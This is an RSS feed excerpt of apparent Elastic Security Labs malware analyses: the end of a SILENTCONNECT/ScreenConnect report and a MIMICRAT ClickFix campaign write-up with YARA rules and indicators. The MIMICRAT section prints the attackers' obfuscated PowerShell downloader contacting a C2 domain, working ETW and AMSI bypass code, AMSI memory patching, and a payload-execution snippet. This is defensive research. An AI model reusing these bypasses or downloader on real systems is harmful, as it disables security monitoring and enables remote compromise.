<img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5e547a1c4f41ec43/6a7c941dead8ec2794ba4cf5/image6.png" alt="ScreenConnect config from DocuSign scheme" title="ScreenConnect config from DocuSign scheme" /></p>
<p>Another page on a different domain impersonates a Microsoft Teams page and requests that the user download a file, which leads to abuse of the Syncro RMM Agent.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt00adaf77252a5132/6a7c9420bd219825da75261d/image7.png" alt="Fake Microsoft Teams landing page" title="Fake Microsoft Teams landing page" /></p>
<h2 id="conclusion">Conclusion</h2>
<p>Elastic Security Labs continues to see an uptick in RMM adoption by threat actors. As these tools are used by legitimate IT departments, they are typically overlooked and considered “trusted” in most corporate environments. Organizations must stay vigilant, auditing their environments for unauthorized RMM usage.</p>
<p>While this particular group went a step further by writing a custom loader, the majority of their infection chain leverages Windows binaries to evade detection and blend in with normal system activity. The abuse of trusted platforms such as Google Drive and Cloudflare for payload hosting and lure delivery further complicates detection, as network-based controls are unlikely to block traffic to these services outright. As threat actors continue to favor simplicity and stealth over sophistication, campaigns of this nature are likely to persist and evolve. </p>
<h3 id="silentconnectandmitreattck">SILENTCONNECT and MITRE ATT&amp;CK</h3>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT\&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h4 id="tactics">Tactics</h4>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0011">Command and Control</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0004/">Privilege Escalation</a></li>
</ul>
<h4 id="techniques">Techniques</h4>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1562/001/">Impair Defenses: Disable or Modify Tools</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1548/002/">Abuse Elevation Control Mechanism: Bypass User Account Control</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1219/002/">Remote Access Tools: Remote Desktop Software</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1105/">Ingress Tool Transfer</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1027/">Obfuscated Files or Information</a></li>
</ul>
<h2 id="detectingsilentconnect"><strong>Detecting SILENTCONNECT</strong></h2>
<ul>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/command_and_control_ingress_exe_transfer_via_curl.toml">Ingress Tool Transfer via CURL</a>  </li>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/command_and_control_webservice_lolbas.toml">Connection to WebService by a Signed Binary Proxy</a>  </li>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/privilege_escalation_uac_bypass_com_interface_icmluautil.toml">UAC Bypass via ICMLuaUtil Elevated COM Interface</a>  </li>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/execution_suspicious_powershell_cmdline.toml">Suspicious PowerShell Execution</a>  </li>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/defense_evasion_defender_exclusion_via_wmi.toml">Windows Defender Exclusions via WMI</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/execution_windows_powershell_susp_args.toml">Suspicious Windows Powershell Arguments</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/command_and_control_tool_transfer_via_curl.toml">Potential File Transfer via Curl for Windows</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/command_and_control_common_webservices.toml">Connection to Commonly Abused Web Services</a></li>
</ul>
<h4 id="yara">YARA</h4>
<p>Elastic Security has created the following YARA rules to identify this activity:</p>
<pre><code>rule Windows_Trojan_SilentConnect_cdc03e84 {
    meta:
        author = "Elastic Security"
        creation_date = "2026-03-04"
        last_modified = "2026-03-04"
        os = "Windows"
        arch = "x86"
        threat_name = "Windows.Trojan.SilentConnect"
        reference_sample = "8bab731ac2f7d015b81c2002f518fff06ea751a34a711907e80e98cf70b557db"
        license = "Elastic License v2"
    strings:
        $peb_evade = "winhlp32.exe" wide fullword
        $rev_elevation = "wen!rotartsinimdA:noitavelE" wide fullword
        $masquerade_peb_str = "MasqueradePEB" ascii fullword
        $guid = "3E5FC7F9-9A51-4367-9063-A120244FBEC7" wide fullword
        $unique_str = "PebFucker" ascii fullword
        $peb_shellcode = { 53 48 31 DB 48 31 C0 65 48 8B 1C 25 60 00 00 00 }
        $rev_screenconnect = "tcennoCneercS" ascii wide
    condition:
        5 of them
}
</code></pre>
<h2 id="observations">Observations</h2>
<p>The following observables were discussed in this research.</p>
<p>| Observable | Type | Name | Reference |
| :---- | :---- | :---- | :---- |
| <code>281226ca0203537fa422b17102047dac314bc0c466ec71b2e6350d75f968f2a3</code> | SHA-256     | E-INVITE.vbs | VBScript |
| <code>adc1cf894cd35a7d7176ac5dab005bea55516bc9998d0c96223b6c0004723c37</code> | SHA-256     | 2025Trans.vbs | VBScript |
| <code>81956d08c8efd2f0e29fd3962bcf9559c73b1591081f14a6297e226958c30d03</code> | SHA-256     | FileR.txt | C# |
| <code>c3d4361939d3f6cf2fe798fef68d4713141c48dce7dd29d3838a5d0c66aa29c7</code> | SHA-256     | ScreenConnect.ClientSetup.msi | SCREENCONNECT Installer |
| <code>8bab731ac2f7d015b81c2002f518fff06ea751a34a711907e80e98cf70b557db</code> | SHA-256     |  | SILENTCONNECT |
| <code>86.38.225[.]59</code> | ipv4-addr |  | ScreenConnect  C2 Server |
| <code>bumptobabeco[.]top</code> | domain |  | ScreenConnect C2 Server |
| <code>instance-lh1907-relay.screenconnect[.]com</code> | domain |  | ScreenConnect C2 Server |
| <code>349e78de0fe66d1616890e835ede0d18580abe8830c549973d7df8a2a7ffdcec</code> | SHA-256     | ViewDocs.exe | Syncro Installer  |</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/silentconnect-delivers-screenconnect</link>
    <guid isPermaLink="false">silentconnect-delivers-screenconnect</guid>
    <category><![CDATA[Malware Analysis]]></category>
    <dc:creator><![CDATA[Daniel Stepanic,Salim Bitam]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2d27816dd3cd525c/6a7c942342a1173ee99564cc/silentconnect-delivers-screenconnect.webp" length="0" type="image/webp"/>
    <pubDate>Thu, 19 Mar 2026 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[MIMICRAT: ClickFix Campaign Delivers Custom RAT via Compromised Legitimate Websites]]></title>
    <description><![CDATA[Elastic Security Labs uncovered a ClickFix campaign using compromised legitimate sites to deliver a five-stage chain ending in MIMICRAT, a custom native C RAT with malleable C2, token theft, and SOCKS5 tunneling.]]></description>
    <content:encoded><![CDATA[<h2 id="introduction">Introduction</h2>
<p>During a recent investigation, Elastic Security Labs identified an active ClickFix campaign compromising multiple legitimate websites to deliver a multi-stage malware chain. Unlike simpler ClickFix deployments that terminate at commodity infostealers, this campaign ends with a capable custom remote access trojan (RAT)  we have called <strong>MIMICRAT:</strong> a native C implant with malleable C2 profiles, token impersonation, SOCKS5 tunneling, and a 22-command dispatch table.</p>
<p>The campaign demonstrates a high level of operational sophistication: compromised sites spanning multiple industries and geographies serve as delivery infrastructure, a multi-stage PowerShell chain performs ETW and AMSI bypass before dropping a Lua-scripted shellcode loader, and the final implant communicates over HTTPS on port 443 using HTTP profiles that resemble legitimate web analytics traffic.</p>
<h3 id="keytakeaways">Key takeaways</h3>
<ul>
<li>Multiple legitimate websites were compromised to deliver a five-stage attack chain.  </li>
<li>The Lua loader executes embedded shellcode.  </li>
<li><strong>MIMICRAT</strong> is a bespoke native C++ RAT with malleable C2 profiles, Windows token theft, and SOCKS5 proxy.</li>
</ul>
<h2 id="discovery">Discovery</h2>
<p>Elastic Security Labs first identified this campaign in early February 2026 through endpoint telemetry flagging suspicious PowerShell execution with obfuscated command-line arguments.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte930b1d4205bf88a/6a7c8aee33fa8a69d41fcaa0/image1.png" alt="Telemetry: Obfuscated powershell execution" title="Telemetry: Obfuscated powershell execution" /></p>
<p>Given the novelty of the final payload, <a href="https://x.com/soolidsnakee/status/2021601599894819142">we publicly disclosed initial indicators via social media</a> on February 11, 2026 to ensure the broader security community could begin hunting for and defending against this threat while our full analysis was underway. The campaign remains active as of this publication.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt275d54731fb1bcf4/6a7c8af1de23157e46fd1f68/image7.png" alt="" /></p>
<p>Researchers at Huntress have <a href="https://www.huntress.com/blog/clickfix-matanbuchus-astarionrat-analysis">documented</a> related ClickFix campaigns using similar infrastructure and techniques, indicating the breadth of this threat actor's operations across multiple parallel campaigns.</p>
<h3 id="campaigndelivery">Campaign Delivery</h3>
<p>The campaign's delivery relies entirely on compromising legitimate, trusted websites rather than attacker-owned infrastructure. The entry point for victims is bincheck[.]io, a legitimate Bank Identification Number (BIN) validation service. The threat actor compromised this site and injected a malicious JavaScript snippet that dynamically loads an external script hosted at <code>https://www.investonline[.]in/js/jq.php</code>, a second compromised site, a legitimate Indian mutual fund investment platform <strong>(Abchlor Investments Pvt. Ltd.)</strong>. The external script is named to impersonate the jQuery library, blending into the page's existing resource load.</p>
<p>It is this remotely loaded script (<code>jq.php</code>) that delivers the ClickFix lure: a fake Cloudflare verification page instructing the victim to manually paste and execute a command to "fix" a problem. The lure copies a malicious PowerShell command directly to the victim's clipboard and prompts them to open a Run dialog (<code>Win+R</code>) or PowerShell prompt and paste it. This technique bypasses browser-based download protections entirely, as no file is downloaded.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6b7fcc1f17644834/6a7c8af4e02facba735d0651/image8.png" alt="bincheck.io page source showing the injected script loading &lt;code&gt;jq.php&lt;/code&gt; from investonline.in" title="bincheck.io page source showing the injected script loading &lt;code&gt;jq.php&lt;/code&gt; from investonline.in" /></p>
<p>This multidimensional compromise relies on a victim-facing website loading a malicious script from a second compromised website, distributes detection risk and increases the perceived legitimacy of the lure to both users and automated security tools. The campaign supports 17 languages, with the lure content dynamically localized based on the victim's browser language settings to broaden its effective reach. Identified victims span multiple geographies, including a USA-based university and multiple Chinese-speaking users documented in public forum discussions, suggesting broad opportunistic targeting. </p>
<p>The following is the list of supported languages by the ClickFix:</p>
<ul>
<li>English  </li>
<li>Chinese  </li>
<li>Russian  </li>
<li>Spanish  </li>
<li>French  </li>
<li>German  </li>
<li>Portuguese  </li>
<li>Japanese  </li>
<li>Korean  </li>
<li>Italian  </li>
<li>Turkish  </li>
<li>Polish  </li>
<li>Dutch  </li>
<li>Vietnamese  </li>
<li>Arabic  </li>
<li>Hindi  </li>
<li>Indonesian</li>
</ul>
<h2 id="codeanalysis">Code analysis</h2>
<p>Once the victim executes the clipboard command, the campaign unfolds across five distinct stages: an obfuscated PowerShell downloader contacts the C2 to retrieve a second-stage script that patches Windows event logging(<a href="https://learn.microsoft.com/en-us/windows-hardware/test/wpt/event-tracing-for-windows">ETW</a>) and antivirus scanning(<a href="https://learn.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal">AMSI</a>) before dropping a Lua-based loader; the loader decrypts and executes shellcode entirely in memory; and the shellcode ultimately delivers <strong>MIMICRAT</strong>, a capable RAT designed for persistent access and lateral movement.</p>
<h3 id="stage1powershellonelinercommand">Stage 1 Powershell one liner command</h3>
<p>The clipboard-delivered command is a compact and obfuscated PowerShell one-liner:</p>
<pre><code>powershell.exe -WInDo Min $RdLU='aZmEwGEtHPckKyBXPxMRi.neTwOrkicsGf';$OnRa=($RdLU.Substring(17,12));$jOFn=.($RdLU[(87)/(3)]+$RdLU[19]+$RdLU[2]) $OnRa;$TNNt=$jOFn; .($TNNt.Remove(0,3).Remove(3))($TNNt); # connects to xMRi.neTwOrk
</code></pre>
<p>The command uses string slicing and arithmetic index operations on a single seed string (<code>aZmEwGEtHPckKyBXPxMRi.neTwOrkicsGf</code>) to reconstruct both the target domain and the invocation mechanism at runtime, avoiding any plaintext representation of the C2 domain or PowerShell cmdlet names in the initial payload. The window is minimized (<code>-WInDo Min</code>). The extracted domain is <code>xMRi.neTwOrk</code>, which resolves to <code>45.13.212.250</code>, and downloads a second-stage PowerShell script.</p>
<p>Infrastructure pivoting on <code>45.13.212.250</code> via VirusTotal relations revealed a second domain, <code>WexMrI.CC</code>, resolving to the same IP. Both domains share the same mixed-case formatting obfuscation pattern.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6e5badfbfd546d87/6a7c8af742a117e997956251/image5.png" alt="PowerShell deobfuscation in a debug session &lt;code&gt;$HDjo&lt;/code&gt; resolves to &lt;code&gt;WexMrI.CC&lt;/code&gt;" title="PowerShell deobfuscation in a debug session &lt;code&gt;$HDjo&lt;/code&gt; resolves to &lt;code&gt;WexMrI.CC&lt;/code&gt;" /></p>
<h3 id="stage2obfuscatedpowershellscript">Stage 2 Obfuscated Powershell script</h3>
<p>The downloaded second-stage PowerShell script is significantly more elaborated. All strings are constructed at runtime by resolving arithmetic expressions to ASCII characters:</p>
<pre><code>$smaau = (-join[char[]](((7454404997-7439813680)/175799),(91873122/759282),...))
# Resolves to: "System.Diagnostics.Eventing.EventProvider"
</code></pre>
<p>This technique renders the script opaque to static analysis and signature-based detection while remaining fully functional at runtime. A dummy class declaration is included as a decoy and<br />
the script executes four sequential operations:</p>
<h4 id="etwbypass">ETW Bypass</h4>
<p>The script accesses the internal <code>m_enabled</code> field of the <code>System.Diagnostics.Eventing.EventProvider</code> class via reflection and patches its value to <code>0</code>, effectively disabling Event Tracing for Windows and blinding PowerShell script block logging.</p>
<pre><code>[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
</code></pre>
<h4 id="amsibypass">AMSI Bypass</h4>
<p>The script then uses reflection to access <code>System.Management.Automation.AmsiUtils</code> and sets the <code>amsiInitFailed</code> field to <code>$true</code>, causing PowerShell to skip all AMSI content scanning for the remainder of the session.</p>
<pre><code>[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
</code></pre>
<h4 id="amsimemorypatching">AMSI - Memory Patching</h4>
<p>The script performs runtime method handle patching via <code>Marshal.Copy</code> in an additional but less common defense evasion step overwriting method pointers in memory to redirect execution away from monitored code paths. This targets the function <code>ScanContent</code> under <code>System.Management.Automation.AmsiUtils</code> to an empty generate method.</p>
<pre><code>$ScanContent_func = [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetMethods("NonPublic,Static") | Where-Object Name -eq "ScanContent"
$tttttttttt       = [zsZRXVIIMQvZ].GetMethods() | Where-Object Name -eq "FHVcGSwOEM"

[System.Runtime.InteropServices.Marshal]::Copy( @([System.Runtime.InteropServices.Marshal]::ReadIntPtr([long]$tttttttttt.MethodHandle.Value + [long]8)),
    0,
    [long]$ScanContent_func.MethodHandle.Value + [long]8,
    1
)
</code></pre>
<h4 id="payloaddelivery">Payload Delivery</h4>
<p>With event logging and AV scanning disabled, the script decodes a base64-encoded ZIP archive, extracts it to a randomly named directory under <code>%ProgramData%</code>/<code>knz_{random}</code>, and executes the contained binary <code>zbuild.exe</code>. Temporary artifacts are cleaned up post-execution.</p>
<pre><code>$extractTo = Join-Path $env:ProgramData ("knz_{0}" -f ([IO.Path]::GetRandomFileName()))
[IO.Compression.ZipFile]::ExtractToDirectory($tempZip, $extractTo)
Start-Process (Join-Path $extractTo 'zbuild.exe')
</code></pre>
<h3 id="stage3lualoader">Stage 3 Lua loader</h3>
<p>The dropped binary is a custom Lua 5.4.7 loader. It embeds a Lua interpreter statically.<br />
The binary decrypts an embedded Lua script using a XOR stub at runtime, then executes it. The XOR decryption routine (<code>fxh::utility::lua_script_xor_decrypt</code>) iterates over the encrypted buffer XORing each byte against a key.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt554c9e0cd31b3607/6a7c8afae88c656d08005975/image3.png" alt="XOR decryption routine in the Lua loader" title="XOR decryption routine in the Lua loader" /></p>
<p>The Lua script implements a custom Base64 decoder with a non-standard alphabet to decode an embedded shellcode. The decoded shellcode is then allocated in executable memory via <code>luaalloc</code>, copied into that memory with <code>luacpy</code>, and finally executed via <code>luaexe</code>, achieving fully in-memory, fileless shellcode execution.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt44d44df6a7b81a23/6a7c8afd437e0ff41cdd573b/image10.png" alt="Decrypted Lua script" title="Decrypted Lua script" /></p>
<h3 id="stage4shellcode">Stage 4 shellcode</h3>
<p>Shellcode matched Meterpreter-related signatures, suggesting the shellcode stage is a loader consistent with the Meterpreter code-family to reflectively load <strong>MIMICRAT</strong> into memory.</p>
<h3 id="stage5mimicrat">Stage 5 MIMICRAT</h3>
<p>The final payload with compilation metadata set to <strong>January 29 2026</strong> is a native MSVC x64 PEcompiled with Microsoft Visual Studio linker version 14.44. It does not match any known open-source C2 framework exactly, implementing its own malleable HTTP C2 profiles with ASCII-character-based command dispatch and a custom architecture. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3cad3ae26d06b1ed/6a7c8b006c6eac4699f0e4f4/image6.png" alt="VirusTotal detection page" title="VirusTotal detection page" /></p>
<h4 id="c2configurationandcommunication">C2 Configuration and communication</h4>
<p><strong>MIMICRAT</strong>'s configuration is stored in the <code>.data</code> section. It contains cryptographic keys, connection parameters, and two complete HTTP communication profiles. All header strings and URIs are hex-encoded ASCII, and decoded at runtime.</p>
<p>The C2 operates over HTTPS on port 443 with a 10-second callback interval. The C2 server hostname (<code>d15mawx0xveem1.cloudfront.net</code>) is RC4 encrypted with the following RC4 key <code>@z1@@9&amp;Yv6GR6vp#SyeG&amp;ZkY0X74%JXLJEv2Ci8&amp;J80AlVRJk&amp;6Cl$Hb)%a8dgqthEa6!jbn70i27d4bLcE33acSoSaSsq6KpRaA7xDypo(5</code>.</p>
<p>The implant uses HTTPS for communication with a layered encryption scheme: an embedded RSA-1024 public key handles asymmetric session key exchange.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc3656784e48ce379/6a7c8b03227b1c52725927f3/image4.png" alt="Importing rsa public key" title="Importing rsa public key" />  </p>
<p>While AES is used for symmetric encryption of C2 traffic it uses a hardcoded IV <code>abcdefghijklmnop</code> and a runtime calculated key which derived from a SHA-256 hash value of a randomly generated alpha-numeric value example <code>9ZQs0p0gfpOj3Y02.</code></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt06ba391511d226ff/6a7c8b069f52517ad3664166/image2.png" alt="AES encryption" title="AES encryption" /> </p>
<p>The following are the profile used by the sample for POST and GET requests:</p>
<h5 id="httpgetprofilecheckinandtasking">HTTP GET Profile: Check-in and Tasking</h5>
<p>| Component | Value |
| :---: | :---: |
| URI | <code>/intake/organizations/events?channel=app</code> |
| User-Agent | <code>Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.9.19041; ...) Edge/18.19045</code> |
| Referer | <code>[https://www.google.com/?q=dj1](https://www.google.com/?q=dj1)</code> |
| Accept-Language | <code>zh-CN,zh;q=0.9</code> |
| Cookies | <code>AFUAK</code>, <code>BLA</code>, <code>HFK</code> |</p>
<h5 id="httppostprofiledataexfiltration">HTTP POST Profile: Data Exfiltration</h5>
<p>| Component | Value |
| ----- | ----- |
| URI | <code>/discover/pcversion/metrics?clientver=ds</code> |
| Referer | <code>[https://gsov.google.com/](https://gsov.google.com/)</code> |
| Cookies | <code>ARCHUID</code>, <code>BRCHD</code>, <code>ZRCHUSR</code> |</p>
<h4 id="commanddispatch">Command Dispatch</h4>
<p><strong>MIMICRAT implements</strong> a total of 22 distinct commands to provide post-exploitation capabilities like process and file system control, interactive shell access, token manipulation, shellcode injection, and SOCKS proxy tunneling. The beacon interval and jitter are operator-configurable at runtime via dedicated commands. The following is a summarized table of all the implemented commands:</p>
<p>| Cmd ID | Function | Description |
| ----- | ----- | ----- |
| 3 | Exit | Terminates the implant process |
| 4 | Set beacon interval | Configures sleep duration and jitter |
| 5 | Change directory | Changes the current working directory |
| 10 | Write file | Writes a C2-supplied payload to disk (overwrite) |
| 11 | Read file | Reads a file from disk and exfiltrates contents to C2 |
| 12 | Spawn process | Launches a process using a stolen token if available, falling back to standard execution |
| 28 | Revert impersonation | Reverts token impersonation and clears token state |
| 31 | Steal token | Duplicates the security token of a target process by PID |
| 32 | List processes | Enumerates running processes with PID, PPID, user, domain, and architecture |
| 33 | Kill process | Terminates a process by PID |
| 39 | Get current directory | Returns the current working directory to C2 |
| 53 | List files | Lists files and directories with timestamps and sizes |
| 54 | Create directory | Creates a directory on disk |
| 55 | List drives | Enumerates logical drives |
| 56 | Delete file/directory | Deletes a file or removes a directory |
| 67 | Append to file | Appends C2-supplied data to an existing file |
| 73 | Copy file | Copies a file from source to destination |
| 74 | Move/rename file | Moves or renames a file |
| 78 | Interactive shell | Opens a persistent interactive CMD shell over a pipe |
| 100 | Inject shellcode | Reflective shellcode injection |
| 101 | SOCKS  | Configures SOCKS proxy channel or stop it |
| 102 | SOCKS proxy | Shares handler with command 101; Most likely a placeholder command |</p>
<h3 id="infrastructure">Infrastructure</h3>
<p>The campaign's network infrastructure clusters into two primary groups:</p>
<h3 id="clusterainitialpayloaddelivery45132122514513212250">Cluster A — Initial Payload Delivery (<code>45.13.212.251</code> / <code>45.13.212.250</code>)</h3>
<p>Multiple domains point to this IP range, including <code>xMRi.neTwOrk</code> and <code>WexMrI.CC</code>. Domain naming uses mixed-case obfuscation. This infrastructure serves the second-stage PowerShell script and the embedded payload ZIP.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltdceb5d024b1e864f/6a7c8b08437e0f2d33dd5741/image9.png" alt="VirusTotal relations for &lt;code&gt;45.13.212.251&lt;/code&gt; showing multiple campaign domains resolving to this IP" title="VirusTotal relations for &lt;code&gt;45.13.212.251&lt;/code&gt; showing multiple campaign domains resolving to this IP" /> </p>
<h3 id="clusterbpostexploitationc223227202114">Cluster B  Post-Exploitation C2 (<code>23.227.202.114</code>)</h3>
<p>Associated with <code>www.ndibstersoft[.]com</code> and observed in beacon communications from the dropped file. This represents the operator's post-exploitation C2 channel.</p>
<p><strong>CloudFront C2 Relay</strong><br />
<code>d15mawx0xveem1.cloudfront[.]net</code> is confirmed as part of <strong>MIMICRAT</strong>'s C2 infrastructure. VT relations for the <code>rgen.zip</code> sample show it contacting this CloudFront domain using the same <code>/intake/organizations/events?channel=app</code> URI pattern identified in <strong>MIMICRAT</strong>'s GET profile, confirming it acts as a C2 relay fronting for the backend server.</p>
<p><strong>Delivery Infrastructure</strong></p>
<p>Two compromised legitimate websites form the delivery chain:</p>
<ul>
<li><code>bincheck.io</code> — victim-facing entry point; compromised to load the external malicious script  </li>
<li><code>investonline.in</code> — hosts the ClickFix JavaScript payload (<code>/js/jq.php</code>) disguised as jQuery; this script renders the lure and delivers the clipboard PowerShell</li>
</ul>
<h2 id="malwareandmitreattck">Malware and MITRE ATT&amp;CK**</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3 id="tactics">Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0004/">Privilege Escalation</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
</ul>
<h3 id="techniques">Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1566/003/">Phishing: Spearphishing via Service (ClickFix clipboard)</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1204/001/">User Execution: Malicious Link</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1027/010/">Obfuscated Files or Information: Command Obfuscation</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1562/001/">Impair Defenses: Disable or Modify Tools (AMSI bypass)</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1562/002/">Impair Defenses: Disable Windows Event Logging (ETW patch)</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1620/">Reflective Code Loading / In-Memory Execution</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1053/">Scheduled Task/Job</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1134/001/">Access Token Manipulation: Token Impersonation/Theft</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1083/">File and Directory Discovery</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1041/">Exfiltration Over C2 Channel</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1071/001/">Application Layer Protocol: Web Protocols (HTTPS)</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1090/">Proxy</a></li>
</ul>
<h2 id="mitigations">Mitigations</h2>
<h3 id="detection">Detection</h3>
<p>The following detection rules and behavior prevention events were observed throughout the analysis of this intrusion set:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/execution_execution_via_obfuscated_powershell_script.toml">Execution via Obfuscated PowerShell Script</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/command_and_control_dns_query_to_suspicious_top_level_domain.toml">DNS Query to Suspicious Top Level Domain</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/execution_suspicious_command_shell_execution_via_windows_run.toml">Suspicious Command Shell Execution via Windows Run</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/privilege_escalation_potential_privilege_escalation_via_token_impersonation.toml">Token theft and impersonation</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/privilege_escalation_potential_privilege_escalation_via_token_impersonation.toml">Potential Privilege Escalation via Token Impersonation</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_shellcode_execution_from_low_reputation_module.toml">Shellcode Execution from Low Reputation Module</a></li>
</ul>
<h3 id="yara">YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the MimicRat:</p>
<pre><code>rule Windows_Trojan_MimicRat {
    meta:
        author = "Elastic Security"
        creation_date = "2026-02-13"
        last_modified = "2026-02-13"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "MimicRat"
        threat_name = "Windows.Trojan.MimicRat"
        reference_sample = "a508d0bb583dc6e5f97b6094f8f910b5b6f2b9d5528c04e4dee62c343fce6f4b"
        scan_type = "File, Memory"
        severity = 100

    strings:
        $b_0 = { 41 8B 56 18 49 8B 4E 10 41 89 46 08 }
        $b_1 = { 41 FF C0 48 FF C1 48 83 C2 4C 49 3B CA }
    condition:
        all of them
}
</code></pre>
<h2 id="observations">Observations</h2>
<p>The following observables were discussed in this research. </p>
<p>| Observable | Type | Name | Reference |
| ----- | ----- | ----- | ----- |
| <code>bcc7a0e53ebc62c77b7b6e3585166bfd7164f65a8115e7c8bda568279ab4f6f1</code> | SHA-256 |  | Stage 1 PowerShell payload |
| <code>5e0a30d8d91d5fd46da73f3e6555936233d870ac789ca7dd64c9d3cc74719f51</code> | SHA-256 |  | Lua loader |
| <code>a508d0bb583dc6e5f97b6094f8f910b5b6f2b9d5528c04e4dee62c343fce6f4b</code> | SHA-256 |  | MIMICRAT beacon |
| <code>055336daf2ac9d5bbc329fd52bb539085d00e2302fa75a0c7e9d52f540b28beb</code> | SHA-256 |  | Related beacon sample |
| <code>45.13.212.251</code> | IP |  | Payload delivery infrastructure |
| <code>45.13.212.250</code> | IP |  | Payload delivery infrastructure |
| <code>23.227.202.114</code> | IP |  | Post-exploitation C2 |
| <code>xmri.network</code> | Domain |  | Stage 1 C2 / payload delivery |
| <code>wexmri.cc</code> | Domain |  | Stage 1 C2 alternate |
| <code>www.ndibstersoft[.]com</code> | Domain |  | Post-exploitation C2 |
| <code>d15mawx0xveem1.cloudfront[.]net</code> | Domain |  | Post-exploitation C2 |
